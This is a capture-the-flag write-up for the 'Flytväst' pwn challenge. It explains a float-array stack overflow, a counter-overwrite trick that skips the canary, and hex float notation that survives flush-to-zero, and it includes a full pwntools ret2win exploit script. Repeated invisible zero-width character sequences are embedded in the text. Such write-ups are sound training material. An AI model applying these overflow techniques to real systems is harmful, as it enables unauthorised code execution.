← Back to Writeups
CUSTOMMediumpwn

Flytväst

XESXOR9/2/20263 min read
#pwn#custom#medium#counter_manipulation#float_array_overflow#hex_float_notation#ret2win

Flytväst

Platform: undutmaning | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-21 | Status: Solved Techniques: counter_manipulation, float_array_overflow, hex_float_notation, ret2win

Summary

Task: Float array buffer overflow in life vest dispenser system with FTZ mode enabled. Solution: Use hex float notation (0xNp-149) to bypass Flush-To-Zero, manipulate counter to skip canary, overwrite return address with print_flag.

Flytväst — Undutmaning CTF

Description

Man ska inte ut på sjön utan flytväst! Har du glömt din får du använda en nödflytväst som du beställer i dispensersystemet på undutmaning-flytvast.chals.io.

Men vill du ha en specialflytväst, med RGB-ljus och kazoo istället för visselpipa, då måste du ta dig in i systemet. Tur att du har tillgång till binären!

English summary: A life vest dispenser system that asks for measurements as floating point numbers. The goal is to exploit the binary to access a "special life vest" (get the flag). Binary is provided for analysis. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Binary Properties

  • ELF 64-bit executable, not PIE (fixed addresses at 0x40xxxx)
  • Stack canary enabled, NX enabled
  • Contains unreachable print_flag function at address 0x4012b6
  • The print_flag function reads and prints the flag file

Program Flow

  1. Main function asks for measurements (mått) as floating point numbers
  2. Uses fgets to read input into buffer
  3. Parses input with strtod (string to double)
  4. Converts double to float using cvtsd2ss instruction
  5. Stores floats in array on stack using formula: [rbp + (counter+8)*4 - 0x40] ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stack Layout

rbp - 0x40: input buffer (32 bytes)
rbp - 0x20: float array start (after +8 offset in formula)
rbp - 0x10: counter variable (var_10h) - corresponds to INDEX 4
rbp - 0x08: stack canary
rbp + 0x00: saved rbp
rbp + 0x08: return address - corresponds to INDEX 10

Vulnerability

Buffer overflow in float array - no bounds checking on the number of measurements entered. The counter variable at rbp - 0x10 is within the writable range (index 4), allowing us to manipulate it.

Key Challenge: Denormalized Floats

All addresses in the binary (0x40xxxx range) are denormalized floats (exponent bits = 0). The server uses FTZ (Flush-To-Zero) mode, which rounds denormalized floats to zero when using standard decimal notation like 5.88e-39. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The solution is to use hex float notation (0xNp-149) which strtod parses correctly and preserves the exact bit representation for denormalized values.

Solution

Exploitation Strategy

  1. Send 4 dummy float values (indices 0-3) to fill the array
  2. At index 4, overwrite the counter with value 9 using hex float notation
  3. After increment, counter becomes 10, which corresponds to the return address
  4. At index 10, write print_flag address (0x4012b6) as low bytes
  5. At index 11, write 0 for high bytes
  6. Send empty line to exit the input loop
  7. When main returns, execution jumps to print_flag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit Code

python
#!/usr/bin/env python3
from pwn import *
import ssl
import socket

print_flag = 0x4012b6

def int_to_hex_float(val):
    """Convert integer to hex float notation for denormalized values"""
    return f"0x{val:x}p-149"

# Connect via SSL
sock = ssl.create_default_context().wrap_socket(
    socket.socket(socket.AF_INET, socket.SOCK_STREAM),
    server_hostname='undutmaning-flytvast.chals.io'
)
sock.connect(('undutmaning-flytvast.chals.io', 443))
r = remote.fromsocket(sock)
r.recvuntil(b'> ')
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Send 4 dummy values (indices 0-3)
for i in range(4):
    r.sendline(b'1.0')
    r.recvuntil(b'> ')

# Index 4: overwrite counter to 9 (becomes 10 after increment)
r.sendline(b'0x9p-149')
r.recvuntil(b'> ')

# Index 10: write return address low bytes (print_flag address)
r.sendline(f'0x{print_flag:x}p-149'.encode())
r.recvuntil(b'> ')

# Index 11: write return address high bytes (0)
r.sendline(b'0')
r.recvuntil(b'> ')

# Exit loop with empty line
r.sendline(b'')
print(r.recvall(timeout=5).decode())

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why Hex Float Notation Works

Standard decimal notation for denormalized floats (like 5.88e-39) gets flushed to zero by FTZ mode. However, hex float notation 0xNp-149 is parsed by strtod as an exact binary representation:

  • 0x4012b6p-149 means: mantissa = 0x4012b6, exponent = -149
  • This creates a denormalized float with the exact bit pattern we need
  • The conversion from double to float preserves these bits ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍